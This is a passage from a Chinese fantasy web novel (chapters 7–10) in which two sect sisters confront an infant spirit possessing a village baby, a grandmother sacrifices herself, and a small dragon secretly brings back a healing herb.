少女冷笑一声,“你要是再敢往前一步,我就用紫镜射穿你的腿!”
7. 第 7 章
奈奈相信身后的人绝对做得出那种丧尽天良的事,只好站住不动。
“跑啊,怎么不跑啊?看看你跑得快,还是我的紫镜更快!”
奈奈深吸一口气,转过身来,弯着眼睫笑:“大师姐这么巧啊。”
被称作大师姐的少女皮笑肉不笑:“不算巧,也就找了你四年零三个月,两千多天吧。”
奈奈故作惊讶:“想不到我在大师姐心中竟然这么重要!”
欧阳久久横眉冷对:“花无奈你再敢贫嘴试试!”
奈奈捂住了嘴巴。
欧阳久久收回视线,走向床榻。
每走一步,周遭无形的空气像是被人用力地收缩挤压。
她在释放灵力。
渐渐地,奈奈觉得呼吸变得粘稠起来,耳朵嗡嗡作响,心脏好似被人用巨锤敲击,一下又一下,简直要敲碎她的心脏。
那是高阶修士对低阶修士毫不留情地碾压。
强大的力量令他们除了选择臣服以外,别无他法。
这么多年不见,她居然冲破了上玄境!
上玄境属于金丹期,是最难突破的阶段,有些修士一辈子都摸不着上玄境的边。
欧阳久久已经走到床边,居高临下地打量着婴儿。
小婴儿双目血红,如同困兽一般,喉咙中发出嘶吼之声,看起来很滑稽。
欧阳久久一脸不屑:“区区一个婴灵还敢在我面前班门弄斧,识相的还不快滚!”
婴儿浑身颤粟不已,却不肯走,作出殊死一搏的形态。
欧阳久久没想到“它”居然不怕自己,还要继续施压,奈奈急道:“大师姐快住手!再这样下去婴儿就爆体而亡!”
欧阳久久蹙眉:“那你说怎么办?”
奈奈:“你先收起灵力,我和他谈谈。我认识他。”
欧阳久久沉默片刻,最终收敛灵力。
空气里的重压瞬间消失殆尽。
奈奈重重地吐了一口气,挪着沉重的脚步上前,问:“喜欢我上回送你的礼物吗?”
如果她没猜错,眼前的这个婴灵,应该是上回在密林碰见的那一个。
果然,小婴儿咧嘴一笑:“喜欢。”
一个还没满月的口吐人言,实在瘆人得很。
奈奈哄道:“如果他爆体了,小宝就没有藏身之所,小宝不如先放他回来,好不好?”
婴灵犹豫不决。
欧阳久久再次上前一步,作势又要释放灵力。
婴灵后退两步,呜咽一声,犹豫了好一会儿,最终把身体的控制权还给了“小老头”。
“小老头”眼里的血瞬间退得干干净净,哇哇大哭起来。
奈奈松了一口气。
听到哭声的赵大娘小跑着进来,她身后跟着一黑脸膛,身板很壮实的男人。
男人是赵大娘的儿子赵旺。
两母子一脸惊恐地看着欧阳久久。
奈奈介绍:“这是我大师姐,最擅长捉鬼,那鬼已经暂时被他压制。”
听到被压制,两母子千恩万谢,非要留两人吃晚饭。
奈奈答应了,欧阳久久也跟着留下来。
赵旺上前抱起儿子,看也未看闺女一眼,逃似的出了屋子。
赵大娘则上前抱走了一脸呆滞的孙女。
欧阳久久看向奈奈,见她面色苍白,一副见了鬼的样子,皱眉:“几年不见,你怎么变得磨磨唧唧?”
奈奈心想,刀都悬在头上了,她还能去扭秧歌吗?
她挤出一抹笑:“我这不是害怕大师姐打我。”
欧阳久久翻了个白眼。
奈奈向窗外望去。
空无一人的院子里暮色沉沉,炊烟升起。
“来的只有大师姐一个吗?”
欧阳久久别有深意:“你想见谁?”
奈奈:“……”
欧阳久久突然上前一步,伸出手摸了摸她的头顶。
奈奈下意识地地后退,可是来不及了,欧阳久久的手掌已经落在她头顶。
奈奈以为她要动手,全身的寒毛都竖起来了,谁知那只柔软的手转瞬便收了回去,横在她眼睛的位置
“不错,这么多年不见,比我矮了这么多。”
她无不得意地说道。
奈奈:“……”
她真是一点儿都没变!
赵大娘很快就做好了晚饭。
一碟葱炒鸡蛋,一碗肥得流油的蒜苔炒腊肉,粟米粥,玉米面馒头,堆成塔尖的粽子。
看得出来,她已经把家底都端出来了。
赵家一家子都非常怕欧阳久久,尤其是赵旺和余氏,端着一碗粥蹲在树底下,根本不敢靠近。
赵大娘也不敢多看欧阳久久,拿了一个粽子递过去:“这是咸口的,花医师家乡的粽子,欧阳大师尝尝。”
欧阳久久接过来,说了一句“谢谢”。
赵大娘这才抬起头来。
奈奈笑眯眯:“我师姐人很好的,就是不大爱说话。”
赵大娘“呵呵”干笑两声,说:“是呀是呀,我一看就知道欧阳大师是个极好相处的人。”
欧阳久久面无表情地大咬了一口粽子,嚼了两口,皱眉看向奈奈。
奈奈正小口小口吃着粽子,像是什么人间美味。
欧阳久久又咬了一口,这下细长的眉拧得更紧了。
赵大娘忐忑不安:“是不是不合胃口?”
奈奈说:“我大师姐喜欢吃甜的。”
赵大娘又赶紧递了一个甜的递过去。
欧阳久久剥开后,小小地咬了一口,随即眉头舒展。
赵大娘的心放回肚子里。
饭后,她小心翼翼地问:“大师,我孙子孙女还有救吗?”
奈奈想了想,说:“我和师姐先回去准备准备,暂时不会有事。”
欧阳久久看了一眼奈奈没说话。
赵大娘心想花医师的师姐人看着冷冰冰,可好像很听花医师的话。
有了这话,赵大娘一家子终于放下心来,千恩万谢地把她俩送出门去。
两人行至无人处,欧阳久久:“那婴灵要是赖着不肯出来,我只能杀了他。”
寄生成功的婴灵迟早会妖化,杀死所有与容器有血缘关系的人,靠吸食他们的血肉来滋养提升修为。
奈奈:“我知道。”
欧阳久久:“那你方才还那么说?”
奈奈:“距离满月还有几天,也许还有别的法子。”
欧阳久久轻哼一声:“这么多年,你还是老样子!”
奈奈笑:“那大师姐刚才为什么不拆穿我?”
欧阳久久白她一眼,没有说话。
两人一路出了密林,奈奈打了哈欠:“我先回去睡了,明天见。”
欧阳久久拦住她:“你跟我去客栈,有你想见的人。”
“明天再见吧,我家里有人等我。”
“花无奈,别想骗我!”
“真有!”
“那我和你回家。”
“不方便。”
“怎么不方便?家里藏了小白脸?”
奈奈羞羞答答地看她一眼,扭扭捏捏地低下头去。
欧阳久久的表情一言难尽,沉默了好一会儿,说:“我住在城里的您再来客栈,天字一号房,明天早上巳时一刻过来找我。”说完,把一张符咒贴在她脑门上,冷笑一声:“这是我最新研制的噬心咒,专治那些不老实的修士。”
奈奈哭笑不得:“那我今晚怎么洗脸睡觉?”
欧阳久久:“那是你自己的事儿!也别想着揭下来,这符咒修为越高粘得越紧,你这样的非得撕一层皮不可!
奈奈:“大师姐该不会专门拿来对付我的吧?”
欧阳久久:“不错,我等这一天等很久了!总之你明天不来客栈,这符咒就会发作,到时就像有一万只蚂蚁钻到你心里啃你的心脏,求生不得,求死不能!”
奈奈:“……”
这得多恨她!
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欧阳久久又愤愤不平地威胁她几句才离开。
奈奈目送那抹高挑的紫色身影几个跳跃消失在山坡,抬手把额头的符咒撕下来,随手贴在一棵杉树上。
修为越高粘性越高?
可惜对现在的她来说没什么用。
疼倒是真的疼。
奈奈揉着额头向山脚下走去。
她今天一早出了门,家里没留灯,院子里黑漆漆地一片。
满腹心事的奈奈一推开门,被大树下那一对银色的“灯笼”吓了一跳。
是小龙精。
她突然想起,今天出门的时候,她答应会给“他”带酒回来。
该不会是在等酒吧?
也顺便等她?
奈奈的心中涌起一阵热流,上前把小龙井精抱起来,温热的脸颊贴着“他”的脖颈。
龙鳞甲冰凉刺骨,激得她打了个冷颤。
奈奈却舍不得松开。
他不喜欢与人亲近,偏过脸去。
“对不起啦龙兄,我下回一定早点回来!”
颤抖的声音里透着哭腔。
他忽然不动了。
她抱了他很久很久。
那天夜里,没人知道满心绝望的花无奈心里在想些什么。
或许,就连花无奈自己也不知道。
她太害怕了。
她想要拼命抓住些什么,证明自己还活着。
而他是她唯一能够抓住的“人”。
可她不知道,他也是一切的因与果。
就像他也没想到,她是他的劫。
一切注定好的。
“嚓”一声,火苗子倏地弹起来,光线填满了小屋子的。
奈奈回头,小龙精冰冷的眸光落在她的额头。
奈奈不用照镜子,都知道额头一定红得滴血。
她捂着额头笑:“这是城里最新流行的妆,掌柜的说从来没有见过像我额头这么白这么好看的女孩子,盛情难却嘛。龙兄你觉得好不好看?”
每次她说不着边际的话,小龙精就不搭理她。
果然,“他”阖上眼皮。
奈奈在“他”身旁躺下。
明明很累,却怎么也睡不着,脑子里不断地回忆着今天的事。
她做梦都没想过,自己会有机会亲眼看到灵曦之石。
那么,她还能活几天呢?
还有欧阳久久,两人居然还能再见面。
她和欧阳久久与其说是同门,不如说是水火不容的死对头。
009挑中她时,她才十岁大,被选入尘徽宗宗主的门下。
那一年被选中的还有好几个孩子,她和欧阳久久就是其中的两个。
欧阳久久从小为人傲慢强势,十足十的大小姐脾气,事事都要争第一,非要当大师姐,并且放话:谁想要和她争,就先打赢她再说。
后来,几个人打了一架,欧阳久久如愿以偿成了大师姐。
并不是她最厉害,而是大家都让着她。
奈奈那时年纪小,在009的吹捧与洗脑之下,内心非常自负,嘴上喊她大师姐,心里始终不服气。
可想而知,这种情况下两个人能好好相处就怪了。
两个人明争暗争了五年。
争师尊的宠爱,争天才地宝,发展到最后都忘记为什么要争,总之非得压对方一头不可。
这种情况一直到奈奈五年前离开宗门。
奈奈本以为没了自己,欧阳久久会更高兴才对,没想到她居然找来了。
还特地为她研究出噬心咒!
简直变态到令人发指!
一想到最后的日子还要受人胁迫蹂躏,奈奈猛地坐起身。
他掀开眼皮。
身穿白色睡裙的少女动手收拾衣裳,雪白纤细的小腿在眼前晃来晃去。
过了一会儿,她重新回到床上躺下,细白的胳膊抱紧了他。
“龙兄,我想吃糖,要芝麻馅的。”
她和他撒娇。
8. 第 8 章
奈奈最喜欢吃芝麻糖。
麦芽糖裹上厚厚一层炒得焦香的芝麻,一口咬下去,唇齿生香。
奈奈抱着一大袋子芝麻糖,走一路,吃一路,等按照约定的时间来到天字一号房门口时,满满一袋子芝麻糖下去了一半,好满足。
她深吸一口气,刚抬手敲门,门从里面打开,欧阳久久出现在面前。
她挑眉:“挺准时,我以为你跑了。”
奈奈:“确实想跑,事实上行李都收拾好了。”
欧阳久久:“那你又来?”
奈奈:“人家想大师姐啦。”
欧阳久久翻了个白眼,显然不信她的鬼话。
奈奈摸着额头的符咒:“好吧,谁叫大师姐的符咒太厉害了呢。”
实际上,那是她一大早特地去找回来贴上的,差点没找着。
要是不贴上,以欧阳久久的脾气,指不定要和她打一架。
欧阳久久这回信了她的话,默念几句咒语后,抬手撕掉了她头上的符咒。
奈奈把手里的糖递给她:“芝麻糖,吃吗?”
欧阳久久不客气地拿了一颗送入口中,含糊不清地问:“现在怎么办?”
她问的自然是婴灵。
奈奈想了想:“我先尝试把他哄出来,他虽然开智,但毕竟还只是个孩子。”
欧阳久久不置可否:“一个根本没有智商的生物居然开了智,你不觉得奇怪吗?”不等奈奈回答,她又道:“是灵曦之石对不对?”
听到“灵曦之石”这四个字,奈奈周身发凉,那种被死神环绕的感觉又来了。
灵曦之石的碎片残留着强大的神力,帮一个婴灵开智是轻而易举的事。
问题在于,一个婴灵怎么会拥有这样的神物?
好在欧阳久久并没有深聊这个话题,“你有几成把握?”
奈奈实话实说:“一成把握也无,只能尽力一试。如果到时不行,大师姐再动手也不迟。”
欧阳久久也这么想。
不到万不得已,她也不想对一个婴儿痛下杀手。
奈奈往里走了一步,假装若无其事地往挂了蚊帐的床铺看了一眼。
欧阳久久:“别看了,人不在,就算在也不可能睡在我床上!”
奈奈:“……”
欧阳久久拿起紫境就准备走。
她突然想到什么,看向奈奈,“你的刀呢。”
奈奈:“对付它,紫镜绰绰有余。”
欧阳久久深以为然:“确实如此!”
两刻钟后,两个人出现在赵家的院门口。
门没锁。
东屋里传来婴灵暴躁的声音:“那个死女人又去哪儿了,是打算把我饿死?还不快滚过来喂我!”
赵家一家人一脸惊惧地在院中徘徊,无人敢上前去。
这时,赵大娘看到她二人,如同见到了救星,迎上前来,语无伦次地把昨晚二人走后发生的事情详说了一遍。
起初孩子还挺乖,吃了奶,拉了屎,乖乖地睡着了。
可就在一个时辰前,小孩子又开始说话了。
余氏人都吓傻了,根本不敢靠近,更别说喂奶,也就有了开头这一幕。
“花医师,你说,这可怎么好,都饿了几个时辰,要是再饿坏了……”
赵大娘说着说着,拿衣袖抹泪。
奈奈安抚了她几句,把如何解决婴灵的事儿和他们说了一遍。
毕竟婴儿是他们家的,就算要动手,也要和他们说一声。
余氏一听有可能要杀死自己的儿子,眼睛一翻,倒在赵旺怀里。
“没有别的法子了吗?”
赵大娘的眼泪汩汩滚落,口中不断地念叨:“那是我孙子,我孙子,花医师,能不能用我我的命换我孙子的命……”
奈奈望着她不说话,漆黑的眼瞳里充满了悲悯。
赵大娘突然就住了口,捂着脸哭了起来。
屋里的骂声还在继续,奈奈看了一眼坐在门槛的大宝。
显然,她被吓坏了,神情呆滞。
家里乱成这样,恐怕她连饭都没吃。
奈奈在她跟前蹲下,把剩下的芝麻糖放到她手里,柔声询问:“大宝能不能告诉姐姐发生了什么事?”
人间有门神庇护,如果不被人允许,婴灵根本进不来。
大宝漆黑的眼珠子转了以下,小声地把那天夜里见到婴灵,以及婴灵和她说的话重复了一遍,末了,问:“花医师,我只是想要见我娘,我没有不喜欢弟弟。”
奈奈伸手摸摸她的头,安慰:“不是大宝的错,大宝是个很乖的孩子。”
大宝低下头去,一滴泪砸在地上。
奈奈又摸摸她的头,与欧阳九久久一同踏入了东屋。
一进去,两人被里头的景象骇到。
只穿了红肚兜的小婴儿双腿盘坐在床上,圆溜溜的小眼睛里蒙上了一层血雾
才一夜过去,他居然能够坐立。
那片灵曦之石悬在他白皙的额头,红得滴血。
欧阳久久低声道:“实在太快了!居然已经有了妖化的迹象!”
奈奈也察觉到了,“尽力一试吧。”
她深吸一口气,朝婴灵走了过去。
婴灵咧嘴一笑:“姐姐是来杀我的吗?我是不会出来的。”
奈奈在他身旁坐下:“那么,让姐姐猜猜看小宝,是怎么死的?”
“是被人丢在小重山的吗?”
她今天和客栈的掌柜打听过,很多人都会把不要的孩子丢到小重山深处,任由孩子自生自灭。
那些孩子大多都有残疾,最终的归宿不是饿死,就是被野兽吃掉。
话音刚落,婴灵紧抿着薄薄的唇,眼瞳红得滴血,神情极为狰狞。
果然是这样。
奈奈不由地心疼起来,伸手摸摸他的脸。
“很疼,是吗?”
婴灵神情呆滞了一下,歪歪侧头,眼珠子看向那只温暖雪白的手。
明明该是天真烂漫的动作,他做起来格外地诡异。
“小宝是这世上最好的孩子,他们不要小宝,不是小宝的错。”
婴灵有被安慰到,动作极轻地蹭了一下奈奈的掌心。
奈奈察觉到他的动作,轻抚摸着他的头:“小宝还没去过城里吧?城里可好玩了,有糖人,有玩具铺子,还有点心铺子,对了,还有皮影戏,就是用兽皮或者纸板做的人物剪影,人拿着它们,在幕布后面表演,小孩子都喜欢!”
婴灵不作声。
于是奈奈讲了《西游记》里孙悟空大闹天空的剧情。
婴灵听得很入神。
就连欧阳久久也听得聚精会神。
讲到孙悟空在如来佛祖手心撒尿的时候,她停了下来。
欧阳久久差点忍不住追问后续。
婴灵巴巴看着奈奈,显然希望她能继续。
奈奈把手递给他:“我现在带小宝去城里听皮影戏,好不好?我保证,就算小宝出来,我也绝不会杀小宝。”
婴灵仍是不作声。
奈奈也不催他。
就在欧阳久久觉得他不会那么傻答应时,一只青白的小手从婴儿的身体里伸了出来。
欧阳久久瞪大了眼睛。
余氏望着房梁,眼泪不住地滚落眼眶。
她成婚三年才有了身子,虽然婆婆和丈夫从来没有埋怨过她半句,可左邻右舍异样的眼神让她不知道躲在被窝里流了多少眼泪。
好不容易一举得男,终于扬眉吐气,儿子却被鬼附身。
她可怜的孩子……
她捂脸失声痛哭起来。
都怪那个扫把星!
她克死了自己的亲娘,又来克她的儿子!
余氏擦干眼泪,挣扎着下床,跌跌撞撞出了屋子。
“你听话,现在去外祖母家,这两天都不要回来!”
院子里,赵大娘把一个馒头塞进孙女手里。
大宝虽然不明白为什么祖母为何要自己走,还是点点头。
赵大娘松了一口气,又嘱咐她几句,赶紧去给菩萨上香。
大宝揉揉眼睛,转身离开,刚要出门口,一只手拽住她的衣领,将她提离地面。
奈奈就快要握住那只手了。
只要她握紧那只手,他就没有再回去的机会。
她会说话算话,替他想一个最好的归宿
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。
“你吃她!你吃她!”
余氏突然抓着大宝闯入,一脸癫狂地喊道。
她生得强大壮实,大宝几乎被她拽离地,疼得小脸皱成了一团。
婴灵倏地收回手,笑:“差点就上了姐姐的当啦。”
奈奈的心沉了下去。
没有第二次机会了。
根本不知道自己坏了事的余氏还在哭闹,非要拿大宝换儿子。
欧阳久久恨不得一脚踹她出去。
这时听到动静的赵大娘母子也跑过来,屋子里乱糟糟的。
婴灵眨眨血红的眼:“既然这样,不如我们来玩二选一的游戏,看看他们是选大宝,还是选小宝?”说话间,大宝已经脱离余氏的手。
两个孩子皆双脚离地,悬浮至房梁。
“我选我儿子!”
余氏推搡丈夫,“你不是做梦都想要儿子,你还犹豫什么!你快选!”
她又看向赵大娘,“你不是说你有了孙子,现在就是死也瞑目了!你还等什么!”
赵旺双手抱着头,无能为力地干嚎起来。
大宝直勾勾地盯着自己的父亲。
可爹始终没看她一眼。
大宝又看看祖母,祖母一脸为难地望着她,眼里淌下泪来。
自从后娘怀孕后,祖母总是用这样的眼神看她。
她成了家里多余的那个人。
大宝神情失落地收回视线,看向婴灵:“那天夜里,你说的是真的吗?真能让我看到我娘吗?”
婴灵楞了一下,咧嘴一笑:“当然是真的啊,我不像那些大人,我绝不会骗小孩子!”
大宝把手伸到他面前:“那用我,交换弟弟,好不好?”
婴灵不明白:“为什么?他们都不喜欢你?”
大宝想了想:“我想去找我娘,我娘最喜欢我了,我想她。”
婴灵握住了她的手:“我答应你。我会帮你报仇。”
“我不要报仇。”她说。
趁他们说话的功夫,奈奈悄悄地给欧阳久久递了一个眼神。
她们是死对头,也是曾并肩作战过的战友,只一个眼神,欧阳久久就明白了她的意思,不动声色地握紧了手中的紫镜。
像这种自愿献祭身体的,妖灵会立即与之融合,妖化后的力量更强大。
她只能趁他们交换身体的间隙,找机会擒住婴灵。
当然,必要的时候,她会选择猎杀。
谁知就在婴灵脱离婴儿,即将与大宝交换之际,一旁的赵大娘突然冲上前去。
那个个子比正常人矮上一个头,走路蹒跚的老妪爆发出惊人的力量,双臂紧紧地箍住婴灵,急喊:“花医师,快,快动手!”
婴灵勃然大怒,用力挣脱束缚。
只听“砰”的一声响,赵大娘瘦弱的身体分出窗口,拦腰撞在院子里那棵大榕树树干上。
骨头碎裂的声音,清晰如耳,令人胆寒。
来不及放箭的欧阳久久看向地上正大口大口吐血的老太太,神情诧异得不得了。
抱着大宝与婴儿安稳落地的奈奈也呆愣在原地。
交换失败的婴灵一把抓住眉心的灵曦之石碎片塞进嘴里,身体急剧膨胀,嘶吼着扑向欧阳久久。
奈奈放下两个孩子,本能地挡在欧阳久久面前。
她想拔刀。
随即她意识到,自己此生再也拔不出那把可劈山砍海,斩尽天下妖魔的虚幻之刀。
她再想闪躲已经来不及,眼看婴灵的利爪就要贯穿她的心脏,命悬一线之际,一道凌冽的寒光挡在她面前,直直刺向婴灵。
那是一柄青色的古剑,剑身质朴,覆盖着火焰一般的金色纹路。
此刻火焰正在熊熊燃烧,青蓝色的光芒带着毁天灭地的气势。
奈奈下意识回头。
打雷了。
躲在屋檐下的“一家老小”时不时地朝石桌望去。
盘踞在桌上的龙昂首,银瞳冷冷地凝视着乌云密布的天空。
那个傻瓜又不回家!
突然,一道磅礴的剑气直冲天际,硬生生地将沉甸甸的乌云撕开了一道口子。
龙倏地不见了。
9. 第 9 章
奈奈呆呆地望着一袭天青色宗服,清雅出尘的年轻男人。
他的剑还插在婴灵的心口,而他手里把玩着一支玉白的短笛,闲庭信步,仿佛只是出来散步。
近了,他眸光温和:“师妹,你还好吧?”
奈奈没想到会在这种时候与他重逢,有些无措地点点头:“好久不见,二师兄。”
没想到那么多年不见,一见面却是这样狼狈的场景,就连重逢的开场白都寡淡无味。
沈清昀洒然笑了一下,左侧旋出的酒窝若隐若现。
他一抬手,那柄曾经斩杀过无数次妖邪的古剑青冥重新回到背后的剑鞘,发出阵阵铮鸣之声。
而婴灵身上的衣裳瞬间四分五裂,那两只颜色不一的鞋子一只落在屋顶,一只掉进鸡笼里,滑稽得很。
奈奈终于看清了他真实的模样。
那已经不是一个完整的人形。
全身上下的肉像是被什么怪兽啃干净了,留下一副瘦骨嶙峋的白骨架子,五脏六腑也被啃得七七八八,心脏的位置被灵曦之心代替,唯有脑袋还是完好的。
皮肤青白,单眼皮,鼻梁有些塌,嘴巴白得没有血色,并不算漂亮。
但那对瞳仁又大又黑,看得她心里很疼。
也许,脑袋也被啃了,他只是不想给人瞧见。
奈奈动了动唇,嗓音有些沙哑:“为何会出来?”
她完全没想到婴灵会真的和大宝交换身体。
事实上,如果他不肯出来,谁拿他没办法。
婴灵闻言,垂睫看向大宝。
她已经挣脱欧阳久久的怀抱,手脚并用地爬向祖母,伸出手去堵她嘴里的血。
可那血就像是开了闸,两只小小的手掌怎么都堵不住,大口大口的鲜血从祖母的嘴里涌出来。
“祖母,祖母,你别睡,你醒醒!”
赵大娘吃力地睁开眼,颤巍巍地抓住她被血染红的手掌,气息奄奄,“你说说你,叫你,躲远些,你总不听话,将来可怎么办呀。”
大宝把脸贴在她皱巴巴的脸上,哭道:“大宝以后都听话,大宝再也不闯祸了!”
赵大娘低声在她耳边说:“我,箱子里有,有些钱,给你,存的嫁妆……还有,还有生辰,礼物……”
交代完,浑浊的眼珠子转向吓傻了的余氏,哀求:“她,好歹叫你一声娘,对她好点。”
直到余氏点了头,这个操心了一辈子的老妪终于放心阖上了眼。
那只枯瘦如爪的手还紧紧地握住孙女的手。
大宝这回怎么都叫不醒她,张大嘴巴哭,鼻涕眼泪横流,却一点儿声音也发不出。
婴灵收回视线,咧嘴一笑,鲜血大口大口地溢出。
他一脸倔强地说:“我们小孩子,才不会骗小孩子。大人,都是骗子!”
说完,那副残破不堪的身体化作齑粉,随风而散。
血一样红的灵曦之心悬浮在半空。
两只雪白的手同时伸向半空。
欧阳久久握住了灵曦之心。
随即她的掌心像是被热油浇过,火燎燎得疼。
她本能松开手。
那枚碎片再次飞入半空,犹如一滴血洒在暮色里。
她心中大骇,不甘心地将灵力汇于掌心,再次伸出手。
这一回,灵曦之心老实地被她握住。
她长舒一口气,看向奈奈。
此刻,一只木雕的大肚子小红鸭,静静地躺在她的掌心。
“原来你更喜欢小鸭子……”
她喃喃。
话音刚落,“轰隆一声”雷鸣,豆大的雨滴簌簌落下,在地面上敲打出一片片铜钱。
沈清昀抬头看向阴沉沉的天,总觉得那乌云深处藏了一对眼睛。
欧阳久久也感受到了那强大的,令人胆寒的力量,蹙眉:“明明刚才还什么都没有。”说着要去追,被沈清昀拦住。
沈清昀:“已经走了。”
欧阳久久用灵力探了一下,那股力量居然一瞬间消失得无影无踪,真是怪异。
两人齐齐把眸光投向奈奈。
她单膝跪在赵大娘身侧,手掌向下,轻轻地拂过她的身体。
一旁终于反应过来的赵旺嗷一嗓子唤了一声“娘啊”,冲过去要抱她。
“别碰她!”
奈奈制止,神色凝重,“她全身骨头都碎了,你一动,骨头要是戳进脏器,立刻就没命了。”
赵旺哭道:“花医师求求你救救我娘,我娘没享过我一天福!”
欧阳久久问:“可需要什么草药?”
奈奈沉默片刻:“《九洲异闻录》有记载,极北之地有一处雪山,山顶长着一种名为仙凝草的仙草,能够骨骼再生。”
欧阳久久:“那我和二师弟这就去!”
“来不及了!”奈奈摇头,“就算御剑来回也得两天来回,以她的身子骨,根本撑不了那么久。”
“那怎么办?”
“我突然想起我家里好像有这种药,我回去找一找。”
奈奈从随身携带的香囊里取出一枚药丸塞进赵大娘口中:“这丹药能够护她心脉五个时辰,在我回来之前,大师姐和二师兄就守在这儿。记住,千万不要挪动她。”
不等欧阳久久答应下来,她背起相箧冒雨出了院子。
天已经黑了,再加上下雨,山路湿滑难行。
奈奈赶回家时,全身都湿透了。
她衣裳都没换,直奔药庐,从摆放医学典籍的书架上翻出那本《九洲异闻录》,迅速地往后翻,一直翻到记载有仙凝草的那一页,折叠起来,拿着书匆匆回屋。
出乎意料,小龙精竟还没睡。
“他”冷冷地盯着她,似乎有些不大高兴了。
奈奈想起前天答应带酒回来,结果给忘了。
今天早上她出门的时候,又信誓旦旦答应“他”会早些回家,结果又回来那么晚。
婴灵说得对,大人们总是说话不算话。
她默默上前点灯。
汽灯炙热的光逐渐填满整间屋子,驱走几分寒意。
小龙精的眸光落在她脚上。
奈奈这这才发现自己没拖鞋,樱桃木地板上全都是泥脚印。
一滴水落下来,砸在地板上。
是她额前的发在滴水。
也许小龙精不是生她的气。
是她实在太狼狈了。
奈奈动作缓慢地脱掉满是泥泞的鞋袜,把它们摆放在屋檐下,又拿起毛巾一点点拧干头发。
换上干燥的睡裙后,她慢慢地走到床边,伸手去摸小龙精。
他偏过脸,避开她的手。
她垂下眼皮,轻轻揉搓着右手掌心。
“赵大娘快要死了。”她平静地说。
“我需要仙凝草来救她。仙凝草生长在极北之地的雪山。长这样。”
她从怀里掏出《九洲异闻录》,打开折好的那一页,尽量让小龙精看得清楚些。
“我知道有些难,可我不想她死。她孙女还那么小,没有娘亲的孩子很可怜的。我们凡人有一句俗话,叫做宁要讨饭的娘,不要当官的爹。”
“至少,让她再多活十年,让她看着孙女出嫁。”
她兀自念叨,眼皮低垂着,有些不敢看向小龙精。
虽然她先前犯懒,也曾和小龙精念叨过一些长在深山的草药。
每次念叨后,第二天也总能出现在家里。
可仙凝草不同。
且不说崖顶上守着以仙凝草为食的千年大妖啼蛇,就连大师姐和二师兄那样修为的人都没办法在一日内赶到。
她却指望一条受了伤的小龙精。
但她没有别的办法了。
她讨厌欠人家的情。
这些年她四处流浪,从不在一个地方久待,也不会和任何人产生联系。<
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云上城是她待过最久的地方。
她初到此处,治好了城东刘木匠媳妇儿的不孕不育,对方非要把镇店之宝——红木妆奁台送给她。
“女孩子将来成婚,一定要有这个,免得被夫家瞧不起。”那个温婉的女子拉着她的手说道。
也许这句话开了头,从那以后,好多病患都要给她添嫁妆。
更夸张的是有一个家里世代做泥瓦匠的,趁她不在,把她的茅草屋推倒,一家子帮她盖了三间房子,外带一个院子。
“姑娘家没有房子哪能行!”那个憨厚的黑脸汉子搓着手笑。
以至于她在云上城一留再留。
甚至觉得死在这儿也挺好的。
现在,她又吃了赵大娘特地为她包的粽子,欠下了天大的人情,得还。
小龙精瞥了一眼她手里的图册,并没什么反应。
奈奈也不知道“他”有没有答应,但她能做的只有等。
她在他身旁躺下,阖上眼睛,期待就像从前每一次那样,第二天只要睁开眼,桌子上就会放着她的“愿望”。
时间一点一滴地流逝。
她怎么都睡不着,又瞟了一眼小龙精。
小龙精双眼紧闭,不知究竟是睡了没有。
她坐起身,从桌上的药囊里摸出一粒塞进嘴里,重新躺回去。
药很苦。
被009遗弃后,她曾患上了很严重的失眠症,整夜整夜睡不着,于是研制出了这种小药丸。
她称之为“一刻还乡”。
因为只要吃下去,不超过一刻钟绝对能够睡着。
果然,药丸咽下去不久,她意识逐渐地飘忽,很快呼吸绵长。
许久之后,一只白若冰雕的大手探出纱帐外,拿起那本厚厚的《九洲异闻录》,撕下折叠的那一页。
高大雪白的身影缓缓地站起来。
所到之处,无数的银莲争先恐后地绽放,簇拥着主人向外走去。
房门轻轻地打开。
还在下雨,夜色浓稠如墨。
“去。”
他打了个响指,嗓音低沉懒散。
转瞬间,银莲拥着那张书页转化作万千银点,消散在寒风里。
天亮了。
奈奈缓缓地睁开眼。
这一夜她居然无梦到天亮。
她怔怔望着月白色的帐顶,昨天发生的事儿一瞬间涌入脑海。
她下意识地看向小龙精。
“他”还在睡。
她深吸一口气,将眸光投向红木桌子。
桌上一株晶莹若雪的四叶草赫然出现在眼帘里。
四片叶子居然还挂着一滴晶莹剔透的露珠,像刚摘的。
天呐!
小龙精真的可以!
其实她先前不是没有怀疑过,那些点心零食是小龙精趁她睡着时去偷来的,草药是“他”帮忙挖的。
这世上哪有什么能够许愿的龙精啊,她翻遍整个《九洲异闻录》没有见过过这种龙类。
再说,“他”要真能许愿,那为什么不许愿求个宝贝平安地渡过雷劫,也不至于被雷劈成焦炭,月满之夜需要她的血液才能熬过去。
所以她每次经过点心铺时,总会绕道而行。
偶尔看见卖糖葫芦的小商贩,心里会莫名地心虚。
可有个“人”愿意“偷”东西哄她,她心里很高兴。
如今“他”居然连仙凝草都能弄来,这不得不让她坚信:小龙精真的是货真价实的许愿龙!
奈奈激动得脸都红了,一把抱住小龙精,“啪唧”在“他”左眼皮上重重亲了一下口。
“龙兄,你真是我见过最有男子气概的龙!”
她小心翼翼地拿起那株冰雪一般脆弱的仙凝草,头也不回地出了屋子。
直到房门关上,他缓缓地抬起被她亲湿的眼皮。
片刻后,又恹恹地阖上眼。
10. 第 10 章
欧阳久久抬头看了一眼阴沉沉的天空。
距离约定的时间还有半个时辰,花无奈人还没有回来。
她又看了一眼仍旧躺在地上的老妪。
昨晚下了很大的雨,沈清昀捻了一个屏障将她罩住,她才免于被雨水淋。
只不过她面色已经开始呈现出青白之色。
那是濒死之人才有的颜色。
她儿子在她头顶上方撑了一把伞,至于她孙女……
欧阳久久把目光移向那个面色呆滞,眼神空洞的小女孩。
她无论如何也不肯回屋子,不哭不闹地守在祖母身旁。
两祖孙的手还紧紧地握在一起。
这些年欧阳久久四处斩妖除魔,也见识了各种各样的人。
但凡牵扯到妖邪这种事儿的,大多都是为了一己私利,不惜牺牲家人,朋友,如有必要,甚至连自己都可以牺牲。
再加上她幼时的经历,她对人性这种东西一直很失望。
可这个老妪却让她的心底生出一两分暖意来。
她希望她能活下去。
眼看着时间一点点流失,欧阳久久心里不免焦躁,来回地徘徊。
一旁,正在闭目养神的沈清昀睁开了眼,朝她投来视线。
他明明一句话没说,仅仅凭借一个安抚的眼神,欧阳久久的心逐渐地平复下来。
他总有这样安抚人心的本事,她想。
可她又不愿意承认自己和花无奈一样。
色字头上一把刀!
她是尘徽宗的大师姐,心里装的应该是整个天下苍生,岂能被男色所迷惑!
这就是花无奈不如她的地方!
